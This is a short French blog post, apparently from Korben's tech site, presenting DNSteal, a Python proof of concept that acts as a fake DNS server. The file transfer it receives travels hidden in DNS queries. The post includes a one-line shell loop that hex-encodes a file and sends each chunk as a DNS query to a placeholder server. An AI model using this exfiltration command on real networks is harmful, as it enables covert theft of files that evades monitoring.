Korben, roi d’internet, logo bébé avec des lunettes en mode thug life Korben, roi d’internet, logo bébé avec des lunettes en mode thug life

Korben Upgrade your mind

Transférer des fichiers en utilisant des requêtes DNS

Voici un proof of concept intéressant qui s’appelle DNSteal et qui permet de transférer des documents via le net, de manière très discrète en utilisant le protocole DNS. DNSteal est un script python qui fait office de faux serveur DNS et qui peut recevoir en entrée des fichiers.

Une fois en place, il suffit par exemple de lancer la commande suivante pour transférer l’image send.png au faux serveur DNS.

for b in $(xxd -p file/to/send.png); do dig @server $b.filename.com; done

C’est plutôt rigolo non ?

dnssteal

DNSteal supporte aussi le transfert multi-fichiers et la compression de ceux-ci. Son développeur s’est fait plaisir 🙂

Si vous voulez plus d’infos, c’est sur Github que ça se passe.


Réponses notables

  1. Spleen says:

    Je vois pas à quoi ça peut vraiment servir. Mais c’est marrant :stuck_out_tongue:

Continuer la discussion sur Korben Communauté

2 commentaires supplémentaires dans les réponses

Participants